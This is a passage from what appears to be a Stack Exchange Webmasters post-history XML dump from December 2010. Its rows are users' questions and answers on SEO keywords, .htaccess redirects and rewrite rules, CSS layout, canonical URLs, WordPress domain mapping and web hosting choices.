please help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/appengine/docs/quotas.html" />
  <row Id="13668" PostHistoryTypeId="4" PostId="6768" RevisionGUID="c6432e72-3875-4ba2-908e-3c2dff6a3eb8" CreationDate="2010-12-16T16:10:01.307" UserId="1597" Comment="added 5 characters in body; edited title" Text="Amazon Web Services Free Trial: query about get and put requests" />
  <row Id="13669" PostHistoryTypeId="2" PostId="6805" RevisionGUID="2a1ba946-b8b4-4afe-8fb0-af51abb36aa3" CreationDate="2010-12-16T17:16:25.523" UserId="3512" Text="I hope this is the correct place to ask this question. I've got a few websites going, so i'm ok with the usual terminology and have looked in SEO and tried to implement it as best i can on my sites. One thing i read is that Keywords are no longer really looked at or paid much attention by Google. So i have left Google to crawl my sites and let it figure out the Keywords for me. But on my Webmaster Tools Google page i can see all the Keywords it has found and ranked (great) but my question is how can i up the relevancy of some of the Keywords it has crawled? And is this going to have a positive effect on my SERP? &#xD;&#xA;&#xD;&#xA;Any advice welcome thanks :)" />
  <row Id="13670" PostHistoryTypeId="1" PostId="6805" RevisionGUID="2a1ba946-b8b4-4afe-8fb0-af51abb36aa3" CreationDate="2010-12-16T17:16:25.523" UserId="3512" Text="Google Keyword Relevancy" />
  <row Id="13671" PostHistoryTypeId="3" PostId="6805" RevisionGUID="2a1ba946-b8b4-4afe-8fb0-af51abb36aa3" CreationDate="2010-12-16T17:16:25.523" UserId="3512" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;&lt;serps&gt;" />
  <row Id="13672" PostHistoryTypeId="2" PostId="6806" RevisionGUID="d26fb184-f1fe-4728-969a-a707fa25d0d8" CreationDate="2010-12-16T17:25:58.927" UserId="1953" Text="There are two possible meanings to the way you use &quot;keywords&quot; in your question. One is the meta keywords tag, which you are correct Google does not take into account for relevancy purposes, the other would be keywords within the content of your site, those are still important to Google for determining relevancy. &#xD;&#xA;&#xD;&#xA;That said if you're looking to rank for more relevant terms (IE you don't like what Google came up with) you should modify your content to be more geared toward those terms, if you're looking to increase your rankings for the keywords Google is suggesting are relevant then you might want to try link building." />
  <row Id="13673" PostHistoryTypeId="2" PostId="6807" RevisionGUID="4ef96c9f-8700-49f0-b7a4-74181d00b291" CreationDate="2010-12-16T17:36:26.903" UserId="1953" Text="Anything that you do specifically for the GoogleBot user agent that is different from regular users even if it's not intended to be malicious falls into the realm of cloaking as far as Google is concerned. A better alternative would be to redirect based on the use of JavaScript, IE see if the user has JavaScript enabled and if yes then send them to the JS version if no send then to the non-JS version. Because you are treating all users the same (a regular user without JS enable would be redirected just like GoogleBot is) that meets the quality guidelines. &#xD;&#xA;&#xD;&#xA;Obviously this technique can be used by spammers as well so it's best to only use it if there isn't another option. But if you have to go that route remember that Google wants GoogleBot treated like any other user (if it gets different treatment they get cranky)." />
  <row Id="13674" PostHistoryTypeId="2" PostId="6808" RevisionGUID="0b22a6cf-9f10-4160-a1f6-b117e4c393ae" CreationDate="2010-12-16T17:48:42.877" UserId="1953" Text="Are you using a custom built CMS or something such as wordpress? Wordpress allows users to login and create posts then submit them to be approved by an editor before they are posted, or you could give them access to post them without moderation by an editor if you want. If you're using your own CMS and it needs the txt files in a certain place on your server, I would put them in a &quot;shared folder&quot; in dropbox this would allow them to make changes and sync automatically back to your computer. You can then set up a cron job to automatically upload files to your server once they have been modified.&#xD;&#xA;&#xD;&#xA;If you want to create your own login for them to post the translations you can use CKEditor or TinyMCE." />
  <row Id="13675" PostHistoryTypeId="2" PostId="6809" RevisionGUID="3451dce1-3663-4d3c-8562-e2628b11994a" CreationDate="2010-12-16T19:00:07.183" UserId="1064" Text="Joshak is mostly on-target, however, there's a missing piece of the puzzle there: Google factors in the words *used in links to your site* fairly heavily.&#xD;&#xA;&#xD;&#xA;Review your top-rated keywords in Google Webmaster Tools and you'll very likely find the terms used in anchor text wherever someone links to your site.&#xD;&#xA;&#xD;&#xA;Give people good reasons (compelling content, &quot;sticky&quot; features, etc) to your site with the keywords you want to rank well for in their links (i.e. `&lt;a href=&quot;http://your-site.com/&quot;&gt;Your Keywords&lt;/a&gt;`) and you'll be well on your way to top rankings." />
  <row Id="13676" PostHistoryTypeId="2" PostId="6810" RevisionGUID="13e0743e-4de6-4822-aa59-ef27eab1e64b" CreationDate="2010-12-16T20:02:45.847" UserId="3936" Text="My girlfriend has set up a blog/website for herself on wordpress.com but also has a domain name she'd like to use when giving out her website URL, instead of a wordpress.com subdomain.&#xD;&#xA;&#xD;&#xA;Wordpress has some info about that here:&#xD;&#xA;&#xD;&#xA;http://en.support.wordpress.com/domain-mapping/map-existing-domain/&#xD;&#xA;&#xD;&#xA;I'm interesting in knowing more about the pros and cons of handing over a domain to Wordpress like this. Has anyone done it?&#xD;&#xA;" />
  <row Id="13677" PostHistoryTypeId="1" PostId="6810" RevisionGUID="13e0743e-4de6-4822-aa59-ef27eab1e64b" CreationDate="2010-12-16T20:02:45.847" UserId="3936" Text="Domain Mapping with Wordpress.com" />
  <row Id="13678" PostHistoryTypeId="3" PostId="6810" RevisionGUID="13e0743e-4de6-4822-aa59-ef27eab1e64b" CreationDate="2010-12-16T20:02:45.847" UserId="3936" Text="&lt;domains&gt;&lt;wordpress&gt;" />
  <row Id="13679" PostHistoryTypeId="4" PostId="6782" RevisionGUID="832d5440-cd79-4488-ad74-ec1a3cc70cec" CreationDate="2010-12-16T20:18:26.517" UserId="233" Comment="edited title" Text="Is it safe to delete a site from Google Webmaster Tools?" />
  <row Id="13680" PostHistoryTypeId="2" PostId="6811" RevisionGUID="311e3174-f15b-4a05-9beb-802cea166ee6" CreationDate="2010-12-16T21:05:40.757" UserId="343" Text="When you say &quot;handing over a domain&quot; to Wordpress - I wouldn't really be concerned about it.  You aren't really handing over ownership of the domain, you are just changing the name servers for that domain.  You can always change them to something else later if you decide to move your blog to another host, but want to keep the domain name." />
  <row Id="13681" PostHistoryTypeId="2" PostId="6812" RevisionGUID="9895b936-eef7-4435-94dd-fd6f9171257f" CreationDate="2010-12-16T22:36:52.800" UserId="3939" Text="Your calc is only true if you are hosting a static website directly from S3 - the free tier also includes the micro instance; and that will have EBS storage that you can use to host the site.&#xD;&#xA;&#xD;&#xA;The uploads could be handled there too.&#xD;&#xA;&#xD;&#xA;BTW: Im not disputing that App-engine isnt cheaper, if its paradigm works for you, it almost certainly is." />
  <row Id="13682" PostHistoryTypeId="2" PostId="6813" RevisionGUID="7caad321-73e8-4cda-b750-07f500e04b22" CreationDate="2010-12-17T01:35:55.750" UserId="3943" Text="I have a Super Mario Bros website and business, &lt;a href=&quot;http://www.marioplanet.com/&quot;&gt;Mario Planet&lt;/a&gt;, and I am looking for a target keyword for generating traffic - and therefore revenue - to the site.&#xD;&#xA;&#xD;&#xA;Using the &lt;a href=&quot;https://adwords.google.com/select/KeywordToolExternal&quot;&gt;Google Keyword Suggestion Tool&lt;/a&gt; (quite a mouthful!), I found that the keyword `mario` generates:&#xD;&#xA;&#xD;&#xA;&gt; Global Monthly Searches: 68,000,000&lt;br /&gt;&#xD;&#xA;&gt; Local Monthly Searches: 7,480,000&#xD;&#xA;&#xD;&#xA;That's quite amazing.&#xD;&#xA;&#xD;&#xA;Now, to my intense surprise, the competition - as indicated by Google's little bar graphic - is very *low!*&#xD;&#xA;&#xD;&#xA;I'm surprised about this, unsettled even.&#xD;&#xA;&#xD;&#xA;Now, I think I have to optimize for this keyword, just because, I would assume - out of that many people - that a percentage will be willing to purchase toys.&#xD;&#xA;&#xD;&#xA;And since the competition is so low, I doubt it would take a while to optimize for it.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="13683" PostHistoryTypeId="1" PostId="6813" RevisionGUID="7caad321-73e8-4cda-b750-07f500e04b22" CreationDate="2010-12-17T01:35:55.750" UserId="3943" Text="Good to optimize for broad but less-competitive keyword?" />
  <row Id="13684" PostHistoryTypeId="3" PostId="6813" RevisionGUID="7caad321-73e8-4cda-b750-07f500e04b22" CreationDate="2010-12-17T01:35:55.750" UserId="3943" Text="&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="13687" PostHistoryTypeId="2" PostId="6814" RevisionGUID="0e8ae3d3-a374-47fa-a027-e3839c5148cc" CreationDate="2010-12-17T02:08:33.537" UserId="1757" Text="Google's Keyword Suggestion tool is designed for AdWords research. It can be used for SEO as many of the same keyword stats are relevant to both, but there are some differences. In particular, the competitiveness level for a particular keyword in GKST is simply a measurement of how many advertisers are bidding on each keyword. This *might* correlate with how many sites are targeting that keyword, but not necessarily.&#xD;&#xA;&#xD;&#xA;Having a low competition rating in the Keyword Suggestion Tool also doesn't mean that the top-ranking pages for the keyword are easy to compete with SEO-wise. That's why most people use specialized tools for competitive research that specifically measure how competitive a keyword is for search, not for AdWords." />
  <row Id="13688" PostHistoryTypeId="2" PostId="6815" RevisionGUID="c1427708-da0b-401e-8475-eb1028e48132" CreationDate="2010-12-17T05:21:52.950" UserId="3331" Text="Also does the country matter?" />
  <row Id="13689" PostHistoryTypeId="1" PostId="6815" RevisionGUID="c1427708-da0b-401e-8475-eb1028e48132" CreationDate="2010-12-17T05:21:52.950" UserId="3331" Text="Things to consider while choosing a web hosting service?" />
  <row Id="13690" PostHistoryTypeId="3" PostId="6815" RevisionGUID="c1427708-da0b-401e-8475-eb1028e48132" CreationDate="2010-12-17T05:21:52.950" UserId="3331" Text="&lt;php&gt;&lt;mysql&gt;&lt;web-hosting&gt;" />
  <row Id="13691" PostHistoryTypeId="5" PostId="6793" RevisionGUID="b61d2615-da49-4e15-b4f4-773d22a64e16" CreationDate="2010-12-17T06:20:41.830" UserId="3930" Comment="I have included the HTML code" Text="This is my css code, i would like to make the content_area come to the right of the menu_bar, at the moment it comes at the bottom of the menu_bar    &#xD;&#xA;&#xD;&#xA;    body{&#xD;&#xA;        color:#000000;&#xD;&#xA;        font-family: arial, san serif;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;    #container {&#xD;&#xA;    margin-left: 10%;&#xD;&#xA;    margin-right: 10%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 80%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #header {&#xD;&#xA;    margin-left: 0.5%;&#xD;&#xA;    margin-right: 0.5%;&#xD;&#xA;    margin-top: 0.5%;&#xD;&#xA;    margin-bottom: 1%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 99%;&#xD;&#xA;    height: 10%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #pathway{&#xD;&#xA;    margin-left: 0.5%;&#xD;&#xA;    margin-right: 0.5%;&#xD;&#xA;    margin-top: 0.5%;&#xD;&#xA;    margin-bottom: 1%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 99%;&#xD;&#xA;    height: 3.5%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #menu_bar{&#xD;&#xA;    margin-left: 0.5%;&#xD;&#xA;    margin-right: 0.5%;&#xD;&#xA;    margin-top: 0.5%;&#xD;&#xA;    margin-bottom: 1%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 20%;&#xD;&#xA;    height: 40%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #content_area{&#xD;&#xA;    margin-left: 25%;&#xD;&#xA;    margin-right: 0.5%;&#xD;&#xA;    margin-top: 0.5%;&#xD;&#xA;    margin-bottom: 1%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 20%;&#xD;&#xA;    height: 40%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #footer&#xD;&#xA;    { margin-left: 0.5%; margin-right: 0.5%; margin-top: 0.5%; margin-bottom: 1%; border: 1px solid #46A5E0; width: 99%; height: 3.5%;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This is the HTML&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;	&#xD;&#xA;		&lt;head&gt;&#xD;&#xA;			&lt;title&gt; This is my first page &lt;/title&gt;&#xD;&#xA;			&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot; /&gt;&#xD;&#xA;			&lt;link rel=&quot;stylesheet&quot; href=&quot;styles/toast.css&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;		&lt;/head&gt;&#xD;&#xA;	&#xD;&#xA;	&lt;body&gt;&#xD;&#xA;		&lt;div id=&quot;container&quot;&gt;&#xD;&#xA;			&lt;div id=&quot;header&quot;&gt;&#xD;&#xA;				&lt;p class=&quot;banner&quot;&gt; This is my header &lt;/p&gt;&#xD;&#xA;			&lt;/div&gt; &lt;!-- this is the end of the banner area --&gt;&#xD;&#xA;			&#xD;&#xA;			&lt;div id=&quot;pathway&quot;&gt;&#xD;&#xA;				My pathway goes here&#xD;&#xA;			&lt;/div&gt; &lt;!-- this is the end of the pathway --&gt;	&#xD;&#xA;			&#xD;&#xA;			&lt;div id=&quot;menu_bar&quot;&gt;&#xD;&#xA;				&lt;div class=&quot;menu&quot;&gt;&#xD;&#xA;				&#xD;&#xA;				&lt;/div&#xD;&#xA;			&lt;/div&gt; &lt;!-- end of menu bar --&gt;&#xD;&#xA;			&#xD;&#xA;			&lt;div id=&quot;content_area&quot;&gt;&#xD;&#xA;		&#xD;&#xA;			&lt;/div&gt; &lt;!-- this is the end of the content_area--&gt;&#xD;&#xA;	&#xD;&#xA;		&lt;div id=&quot;footer&quot;&gt;&#xD;&#xA;				this is my footer&#xD;&#xA;			&lt;/div&gt;&#xD;&#xA;		&lt;/div&gt; &lt;!-- this is the end of the container --&gt;&#xD;&#xA;	&lt;/body&gt;&#xD;&#xA;	&#xD;&#xA;&lt;/head&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is making the content_area go below the menu_bar how do i bring it to the right of the menu bar." />
  <row Id="13692" PostHistoryTypeId="2" PostId="6816" RevisionGUID="14e6eb24-edf5-41f8-a553-39c1b98ee695" CreationDate="2010-12-17T09:25:23.833" UserId="3946" Text="-bash-3.2# cat .htaccess&#xD;&#xA;ErrorDocument 404 http:// www.domain.com&#xD;&#xA;RewriteEngine On&#xD;&#xA;RewriteCond %{SERVER_PORT} 80&#xD;&#xA;RewriteRule ^(.*)$ https:// www.domain.com/$1 [R,L]&#xD;&#xA;-bash-3.2#&#xD;&#xA;&#xD;&#xA;The above code redirects everything perfectly, however I need the robots.txt file to be accessible via http:// vs the https:// only" />
  <row Id="13693" PostHistoryTypeId="1" PostId="6816" RevisionGUID="14e6eb24-edf5-41f8-a553-39c1b98ee695" CreationDate="2010-12-17T09:25:23.833" UserId="3946" Text="Howto use .htaccess with exclusions" />
  <row Id="13694" PostHistoryTypeId="3" PostId="6816" RevisionGUID="14e6eb24-edf5-41f8-a553-39c1b98ee695" CreationDate="2010-12-17T09:25:23.833" UserId="3946" Text="&lt;htaccess&gt;" />
  <row Id="13695" PostHistoryTypeId="5" PostId="6816" RevisionGUID="af5ba357-b752-49e9-80e1-cd08d0940440" CreationDate="2010-12-17T09:26:54.307" UserId="55" Comment="added 186 characters in body" Text="I want all requests on a domain to be redirected to https, with the exception of just one particular file. I'm not sure how to accomplish that with .htaccess &#xD;&#xA;&#xD;&#xA;    -bash-3.2# cat .htaccess&#xD;&#xA;    ErrorDocument 404 http:// www.domain.com&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{SERVER_PORT} 80&#xD;&#xA;    RewriteRule ^(.*)$ https:// www.domain.com/$1 [R,L]&#xD;&#xA;    -bash-3.2#&#xD;&#xA;&#xD;&#xA;The above code redirects everything perfectly, however I need the robots.txt file to be accessible via http:// vs the https:// only" />
  <row Id="13696" PostHistoryTypeId="2" PostId="6817" RevisionGUID="d57b9737-b20f-403a-be3f-92faec85317e" CreationDate="2010-12-17T09:31:37.667" UserId="3946" Text="I would suggest checking out Theme Forest, They have alot of stuff there and a very active user-base. &#xD;&#xA;&#xD;&#xA;Theme Forest Author Program:&#xD;&#xA;http://themeforest.net/wiki/selling/author-selling/author-program/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13697" PostHistoryTypeId="2" PostId="6818" RevisionGUID="f8c349f7-f807-4702-a374-2f27961367e7" CreationDate="2010-12-17T09:36:52.267" UserId="3946" Text="You want to check to ensure they are a legit business, and then run some basic speed / network tests to ensure optimal connectivity to your home or business location where you or your users will be accessing your website from.&#xD;&#xA; A good test is to wait until about 4 am and email any providers your thinking about and see how well their replies are, and how quickly they come.&#xD;&#xA;" />
  <row Id="13698" PostHistoryTypeId="2" PostId="6819" RevisionGUID="b4288f69-f5f0-4182-a9c0-cc17fb54c67b" CreationDate="2010-12-17T11:22:30.977" UserId="2579" Text="    RewriteRule ^([A-Za-z0-9_\-]+)$ /userviewproducts.php?category=$1 [L]&#xD;&#xA;    RewriteRule ^([A-Za-z0-9_\-]+)/$ /userviewproducts.php?category=$1 [L]&#xD;&#xA;    RewriteRule ^([A-Za-z0-9_\-]+/[A-Za-z0-9_\-]+)$ /userviewproducts.php?category=$1 [L]&#xD;&#xA;    RewriteRule ^([A-Za-z0-9_\-]+/[A-Za-z0-9_\-]+)/$ /userviewproducts.php?category=$1 [L]&#xD;&#xA;    RewriteRule ^([A-Za-z0-9_\-]+/[A-Za-z0-9_\-]+/[A-Za-z0-9_\-]+)$ /viewbuyproduct.php?1=$1 [L]&#xD;&#xA;    RewriteRule ^([A-Za-z0-9_\-]+/[A-Za-z0-9_\-]+/[A-Za-z0-9_\-]+)/$ /viewbuyproduct.php?1=$1 [L]&#xD;&#xA;&#xD;&#xA;I have next rules. &#xD;&#xA;They work in that way:&#xD;&#xA;&#xD;&#xA;    if url = /a or /a/ or /a/a or /a/a/ go to file userviewproducts.php&#xD;&#xA;    and if url = /a/a/a or /a/a/a/ go to file viewbuyproduct.php&#xD;&#xA;&#xD;&#xA;It works as i need, but i see the CODE-SMELLS term here and want to write it shorter. &#xD;&#xA;Will plus every answer =)" />
  <row Id="13699" PostHistoryTypeId="1" PostId="6819" RevisionGUID="b4288f69-f5f0-4182-a9c0-cc17fb54c67b" CreationDate="2010-12-17T11:22:30.977" UserId="2579" Text="is there a way to write .htaccess shorter ?" />
  <row Id="13700" PostHistoryTypeId="3" PostId="6819" RevisionGUID="b4288f69-f5f0-4182-a9c0-cc17fb54c67b" CreationDate="2010-12-17T11:22:30.977" UserId="2579" Text="&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="13701" PostHistoryTypeId="2" PostId="6820" RevisionGUID="5f4c6c23-4c18-4f80-9dc3-83dabb64fc77" CreationDate="2010-12-17T12:24:48.163" UserId="1379" Text="Read up on [Regular Expressions][1].  A better understanding of them will help you write shorter rules here and in future.&#xD;&#xA;&#xD;&#xA;You can use a [regular expression tool][2] to experiment with different rules and see how they match.  &#xD;&#xA;&#xD;&#xA;I am sure you can get it down to two lines - one for each outcome that you want.  The lines might be longer though :-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.regular-expressions.info&#xD;&#xA;  [2]: http://www.regular-expressions.info/tools.html" />
  <row Id="13702" PostHistoryTypeId="2" PostId="6821" RevisionGUID="06919004-a43a-4ef4-96de-03a38f79d973" CreationDate="2010-12-17T13:14:50.430" UserId="2293" Text="This would fit better in serverfault but...&#xD;&#xA;&#xD;&#xA;You can work with a pre-condition first. Something like:&#xD;&#xA;&#xD;&#xA;    ErrorDocument 404 http:// www.domain.com&#xD;&#xA;    &#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} http://(www)?\.domain\.tld\/robots\.txt&#xD;&#xA;    RewriteRule http://domain\.tld\/robots\.txt [R,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{SERVER_PORT} 80&#xD;&#xA;    RewriteRule ^(.*)$ https:// www.domain.com/$1 [R,L]" />
  <row Id="13703" PostHistoryTypeId="2" PostId="6822" RevisionGUID="6ca62e30-fb75-45eb-9d82-f57398c0037c" CreationDate="2010-12-17T13:21:17.317" UserId="1429" Text="Try this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^([A-Za-z0-9_\-]+)/?$ /userviewproducts.php?category=$1 [L]&#xD;&#xA;    RewriteRule ^([A-Za-z0-9_\-]+/[A-Za-z0-9_\-]+)/?$ /userviewproducts.php?category=$1 [L]&#xD;&#xA;    RewriteRule ^([A-Za-z0-9_\-]+/[A-Za-z0-9_\-]+/[A-Za-z0-9_\-]+)/?$ /viewbuyproduct.php?1=$1 [L]&#xD;&#xA;&#xD;&#xA;It's shorter.&#xD;&#xA;" />
  <row Id="13706" PostHistoryTypeId="2" PostId="6824" RevisionGUID="4039391f-e76d-48a0-831b-c255f121bfe0" CreationDate="2010-12-17T14:39:03.917" UserId="108" Text="Everything Lese Majeste said is right on.&#xD;&#xA;&#xD;&#xA;Also, SEOMoz has fairly good tools to tell how many sites you are competing with for a given keyword but it can get expensive.  &#xD;&#xA;&#xD;&#xA;The reason why there is little competition for Mario is exactly because it is unclear what the user is searching for.  Are the looking for Mario Kart, Mario Puzo, Mario Batali, or one of a hundred other famous Mario's.  Few people are willing to spend ad money on poor conversion rates.&#xD;&#xA;&#xD;&#xA;I have found it to be best to optimized for narrow but less competitive words and broad but specific words.  The former is your long tail searches and the latter is your core market searches." />
  <row Id="13710" PostHistoryTypeId="2" PostId="6826" RevisionGUID="c5c8c120-70a1-4150-8f9a-d9ccbb53be71" CreationDate="2010-12-17T14:59:25.840" UserId="3590" Text="was wondering wether searchengines index this correctly in a multilingual website:&#xD;&#xA;&#xD;&#xA;Currently, the htaccess eats nice urls on pages like&#xD;&#xA;`/de/somepage` and rewrites them invisibly to `/somepage?ln=de`&#xD;&#xA;so the query with the language (de, fr, en, it, etcettera) is put as a folder and the current page is added after it. Resulting in a clean nice and static (=always cachable) url, dont you agree?&#xD;&#xA;&#xD;&#xA;However, some months ago there were no nice urls. only ugly ones floating on my site. imagine! Now I found out these old urls still remain roaming on the searchengines and think that these ugly ones are stretching their lifespan further than I pleased them to.&#xD;&#xA;&#xD;&#xA;So. Would this suffice (each and every page would have its own canonical...&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://website.com/fr/page444&quot;&gt;&#xD;&#xA;&#xD;&#xA;As well as an original-source meta:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;original-source&quot; content=&quot;http://website.com/fr/page444&quot;&quot;/&gt;&#xD;&#xA;&#xD;&#xA;Is this the right way to do it? &#xD;&#xA;Any and all info is +1 worth to me.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13711" PostHistoryTypeId="1" PostId="6826" RevisionGUID="c5c8c120-70a1-4150-8f9a-d9ccbb53be71" CreationDate="2010-12-17T14:59:25.840" UserId="3590" Text="How to use Canonical and Original-Source Correctly, on multilingual website?" />
  <row Id="13712" PostHistoryTypeId="3" PostId="6826" RevisionGUID="c5c8c120-70a1-4150-8f9a-d9ccbb53be71" CreationDate="2010-12-17T14:59:25.840" UserId="3590" Text="&lt;search-engines&gt;&lt;url&gt;&lt;canonical-url&gt;&lt;meta&gt;&lt;metadata&gt;" />
  <row Id="13713" PostHistoryTypeId="5" PostId="6826" RevisionGUID="313ccf76-1b10-4eb3-bf94-53fa18c4ac47" CreationDate="2010-12-17T15:05:03.950" UserId="3590" Comment="added 23 characters in body; added 15 characters in body" Text="was wondering wether searchengines index this correctly in a multilingual website:&#xD;&#xA;&#xD;&#xA;Currently, the htaccess eats nice urls on pages like&#xD;&#xA;`/de/somepage` and rewrites them invisibly to `/somepage?ln=de`&#xD;&#xA;so the query with the language (de, fr, en, it, etcettera) is put as a folder and the current page is added after it. Resulting in a clean static url that is better cachable than the one with ?= string url (is this true by the way?)&#xD;&#xA;&#xD;&#xA;However, some months ago there were no nice urls. only ugly ones floating on my site. imagine! Now I found out these old urls still remain roaming on the searchengines and think that these ugly ones are stretching their lifespan further than I pleased them to.&#xD;&#xA;&#xD;&#xA;So. Would this suffice (each and every page would have its own canonical...&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://website.com/fr/page444&quot;&gt;&#xD;&#xA;&#xD;&#xA;As well as an original-source meta:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;original-source&quot; content=&quot;http://website.com/fr/page444&quot;&quot;/&gt;&#xD;&#xA;&#xD;&#xA;Is this the right way to do it? &#xD;&#xA;Any and all info is +1 worth to me.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13714" PostHistoryTypeId="2" PostId="6827" RevisionGUID="6bd0eea5-6565-440a-a627-4841e41f0be7" CreationDate="2010-12-17T15:08:48.753" UserId="1253" Text="All you need is the canonical URL in your page. That's it. The example you show is fine. It does exactly what it's supposed to do: show the URL you want Google to use as the main URL for all of the possible pages showing the same content with different URLs.&#xD;&#xA;&#xD;&#xA;The original source meta tag is only needed when republishing articles from other websites. Not for duplicated content on your own website." />
  <row Id="13715" PostHistoryTypeId="2" PostId="6828" RevisionGUID="ab632612-f1c7-4197-88fe-bd5a6bf6be80" CreationDate="2010-12-17T15:20:48.487" UserId="3819" Text="You'll find that optimizing for long-tail keywords improve your aggregate ranking for the broader terms that they derive from. &#xD;&#xA;&#xD;&#xA;To stay practical about SEO, realize that ranking high for longer-tail keywords will produce faster and more-or-less measurable results. The longer the phrase you target, the better idea you have of what exactly the searcher wants and the better you can answer their needs, as well. The broader a keyword gets, the more long-term variables come into play as you'll notice the top 3 rankings of most broad searches are &quot;entrenched&quot; websites that have been around for a while.&#xD;&#xA;&#xD;&#xA;For example, I started targeting &quot;role playing forum&quot;, &quot;role playing games forum&quot;, &quot;rpg forum&quot;, and other similar keywords a few years ago. Now I'm on the first page for words like &quot;roleplay&quot;." />
  <row Id="13716" PostHistoryTypeId="5" PostId="6558" RevisionGUID="33b3cc68-3c07-42d6-a3dd-0daee299d9d0" CreationDate="2010-12-17T15:34:19.320" UserId="2930" Comment="added 120 characters in body" Text="Is there any policy change in google adsense which says that from now on only paid sites will be allowed to apply for adsense?like www.blabla.blogspot.com can not apply for a adsense account?&#xD;&#xA;EDIT:&#xD;&#xA;here's a link which says that:&#xD;&#xA;http://www.google.com/support/forum/p/AdSense/thread?tid=5e8e8313f54d1a6e&amp;hl=en" />
  <row Id="13717" PostHistoryTypeId="2" PostId="6829" RevisionGUID="303d9af3-004b-4599-a7cc-9ae95fa65bf7" CreationDate="2010-12-17T15:40:36.387" UserId="3951" Text="I've run a custom built social network on top of asp .net mvc &amp; sql server 2005 for the last 2 years on [discountasp .net][1]  &#xD;&#xA;&#xD;&#xA;I've been satisfied with the value as it's cost me around $500 over that period. The limitations are 1GB storage which meant the only media on the network I could afford was 1 profile photo per member and 1GB database, which means I have to periodically delete all my logs and I'm left with about 600MB sized sql database. &#xD;&#xA;&#xD;&#xA;The social network has been linearly growing consistently since inception and this solution will not hold of for 2 much longer. &#xD;&#xA;&#xD;&#xA;I also wish to build a whole new much more involved site, richer in media and many more options for user interaction, meaning a database schema double the size and much higher db traffic.&#xD;&#xA;&#xD;&#xA;I would like to find a cost effective (like $300 per month or less) solution to host the new site which would have around 10,000 daily visitors. Perhaps I might need a 10GB sql server database, which much be 2008 R2 because I've got cool spacial stuff going on.&#xD;&#xA;&#xD;&#xA;Also I'm wondering if I can put my media on a separate cheap hosting solution where I don't have to pay through the roof for storage and bandwidth and implement it so users to seemlinessly switch servers (and hosts) while they use the application. Has anyone ever done this? If so which host did you use for your media?&#xD;&#xA;&#xD;&#xA;Any help greatly appreciated!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.discountasp.net/" />
  <row Id="13718" PostHistoryTypeId="1" PostId="6829" RevisionGUID="303d9af3-004b-4599-a7cc-9ae95fa65bf7" CreationDate="2010-12-17T15:40:36.387" UserId="3951" Text="Hosting solutions for 10,000 daily users, asp .net 4, sql server 2008 R2?" />
  <row Id="13719" PostHistoryTypeId="3" PostId="6829" RevisionGUID="303d9af3-004b-4599-a7cc-9ae95fa65bf7" CreationDate="2010-12-17T15:40:36.387" UserId="3951" Text="&lt;asp.net&gt;&lt;asp.net-mvc&gt;&lt;sql&gt;" />
  <row Id="13720" PostHistoryTypeId="2" PostId="6830" RevisionGUID="42ddd12d-9e49-4668-aebd-fbd1bfb2a840" CreationDate="2010-12-17T15:50:15.503" UserId="3819" Text="Country mainly matters in your ability to deal with the particular webhost and if the location affects the connectivity of you and your target audience to the server. &#xD;&#xA;&#xD;&#xA;**1. How many resources will your website(s) consume?** &#xD;&#xA;&#xD;&#xA;Are you just dabbling around on a personal blog or practicing some scripting? You could get by with cheap, shared hosting or a VPS. Or maybe you already have an application/website with decent traffic/activity and want to go straight to a hybrid or dedicated server. For most people just wanting their first website, I'd recommend a managed VPS that has an easy interface for installing applications like Wordpress. You can get a basic package for $10-15/month.&#xD;&#xA;&#xD;&#xA;**2. Do you know how to set up your server or do you want managed hosting with support staff that can help you do things like install applications and change your server environment for you?**&#xD;&#xA;&#xD;&#xA;This is often overlooked. Find out if a hosting package is &quot;managed&quot; or not. If you're unfamiliar with things like configuring Apache or working with the command line, you'll most likely want managed hosting. Else, you can find yourself lost off the bat.&#xD;&#xA;&#xD;&#xA;**3. What are you developing?**&#xD;&#xA;&#xD;&#xA;Are you just dealing with PHP applications like Wordpress with a MySQL database? Then you can get by on most generic Linux server packages. Do you need access to the command line or the server root? Do you need a webhost that can make server root changes for you?&#xD;&#xA;&#xD;&#xA;I'd guess that 90% of people just getting their first website only need a cheap, generic Linux/Apache/MySQL VPS with a support staff that can help deliver their 